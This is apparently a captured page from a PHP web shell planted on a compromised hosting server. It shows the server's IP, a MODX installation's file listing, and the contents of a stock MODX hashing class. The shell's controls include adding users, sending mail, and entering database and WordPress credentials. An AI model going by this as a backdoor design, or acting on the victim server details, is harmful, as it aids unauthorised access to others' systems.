System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
var
/
softaculous
/
modx
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
modhashing.class.php
<?php /* * MODX Revolution * * Copyright 2006-2014 by MODX, LLC. * All rights reserved. * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place, Suite 330, Boston, MA 02111-1307 USA */ /** * This file contains the modHashing service class definition and the modHash abstract implementation class. * @package modx * @subpackage hashing */ /** * The modX hashing service class. * * @package modx * @subpackage hashing */ class modHashing { /** * A reference to an xPDO instance communicating with this service instance. * * Though this is typically a modX instance, an xPDO instance must work for new installs. * @var xPDO */ public $modx= null; /** * An array of options for the hashing service. * @var array */ public $options= array(); /** * An array of loaded modHash implementations. * @var array */ protected $_hashes= array(); /** * Constructs a new instance of the modHashing service class. * * @param xPDO &$modx A reference to an modX (or xPDO) instance. * @param array|null $options An array of options for the hashing service. */ function __construct(xPDO &$modx, $options= array()) { $this->modx= & $modx; if (is_array($options)) { $this->options = $options; } } /** * Get an option for the MODX hashing service. * * Searches for local options and then prefixes keys with encrypt_ to look for * MODX System Settings. * * @param string $key The option key to get a value for. * @param array|null $options An optional array of options to look in first. * @param mixed $default An optional default value to return if no value is set. * @return mixed The option value or the specified default if not found. */ public function getOption($key, $options = null, $default = null) { if (is_array($options) && array_key_exists($key, $options)) { $option = $options[$key]; } elseif (array_key_exists($key, $this->options)) { $option = $this->options[$key]; } else { $option = $this->modx->getOption('hashing_' . $key, $this->options, $default); } return $option; } /** * Get a hash implementation instance. * * The implementation is made available as a member variable of the modHashing service. * * @param string $key A key string identifying the instance; must be a valid PHP variable name. * @param string $class A valid fully-qualified modHash derivative class name * @param array|null $options An optional array of hash options. * @return modHash|null A reference to a modHash instance or null if could not be instantiated. */ public function getHash($key, $class, $options = array()) { $className = $this->modx->loadClass($class, '', false, true); if ($className) { if (empty($key)) $key = strtolower(str_replace('mod', '', $className)); if (!array_key_exists($key, $this->_hashes)) { $hash = new $className($this, $options); if ($hash instanceof $className) { $this->_hashes[$key] = $hash; $this->$key =& $this->_hashes[$key]; } } if (array_key_exists($key, $this->_hashes)) { return $this->_hashes[$key]; } } return null; } } /** * Defines the interface for a modHash implementation. * * @abstract Implement a derivative of this class to define an actual hash algorithm implementation. * @package modx * @subpackage hashing */ abstract class modHash { /** * A reference to the modHashing service hosting this modHash instance. * @var modHashing */ public $host= null; /** * An array of options for the modHash implementation. * @var array */ public $options= array(); /** * Constructs a new instance of the modHash class. * * @param modHashing $host A reference to the modHashing instance * @param array|null $options An optional array of configuration options * @return modHash A new derivative instance of the modHash class */ function __construct(modHashing &$host, $options= array()) { $this->host =& $host; if (is_array($options)) { $this->options = $options; } } /** * Get an option for this modHash implementation * * Searches for local options and then prefixes keys with hashing_ to look for * MODX System Settings. * * @param string $key The option key to get a value for. * @param array|null $options An optional array of options to look in first. * @param mixed $default An optional default value to return if no value is set. * @return mixed The option value or the specified default if not found. */ public function getOption($key, $options = null, $default = null) { if (is_array($options) && array_key_exists($key, $options)) { $option = $options[$key]; } else { $option = $this->host->getOption($key, $this->options, $default); } return $option; } /** * Generate a hash of the given string using the provided options. * * @abstract * @param string $string A string to generate a secure hash from. * @param array $options An array of options to be passed to the hash implementation. * @return mixed The hash result or false on failure. */ public abstract function hash($string, array $options = array()); }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
..
DIR
-
drwxr-xr-x
2025-10-25 09:38:52
images
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
php53
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
php56
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
php71
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
php81
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
php82
DIR
-
drwxr-xr-x
2025-04-06 09:38:46
changelog.txt
text/plain
8.75 KB
-rw-r--r--
2025-04-03 05:04:46
clone.php
text/x-php
8.03 KB
-rw-r--r--
2025-04-03 07:47:38
config.core.php
text/x-php
287 B
-rw-r--r--
2021-12-23 06:54:36
config.inc.php
text/x-php
3.14 KB
-rw-r--r--
2024-12-19 04:08:46
edit.php
text/x-php
5.37 KB
-rw-r--r--
2025-04-03 07:47:38
edit.xml
text/html
433 B
-rw-r--r--
2021-12-23 06:54:36
extend.php
text/x-php
11.66 KB
-rw-r--r--
2025-04-03 07:47:38
fileindex.php
text/plain
72 B
-rw-r--r--
2021-12-23 06:54:36
import.php
text/x-php
3.85 KB
-rw-r--r--
2025-04-03 07:47:38
info.xml
text/html
3.78 KB
-rw-r--r--
2025-04-03 05:04:46
install.js
text/plain
921 B
-rw-r--r--
2021-12-23 06:54:36
install.php
text/x-php
6.45 KB
-rw-r--r--
2025-04-03 07:47:38
install.xml
text/html
1.05 KB
-rw-r--r--
2022-04-29 07:16:08
md5
text/plain
3.22 KB
-rw-r--r--
2025-04-03 07:47:38
modhashing.class.php
text/x-php
6.16 KB
-rw-r--r--
2021-12-23 06:54:36
modpbkdf2.class.php
text/x-php
2.45 KB
-rw-r--r--
2021-12-23 06:54:36
notes.txt
text/plain
1.52 KB
-rw-r--r--
2025-04-03 05:04:46
update_pass.php
text/x-php
672 B
-rw-r--r--
2021-12-23 06:54:36
upgrade.php
text/x-php
4 KB
-rw-r--r--
2025-04-03 07:47:38
upgrade.xml
text/plain
436 B
-rw-r--r--
2024-12-19 04:08:46
xpdo.class.php
text/x-php
129.25 KB
-rw-r--r--
2021-12-23 06:54:36
~ ACUPOFTEA - mail.ontime-ae.com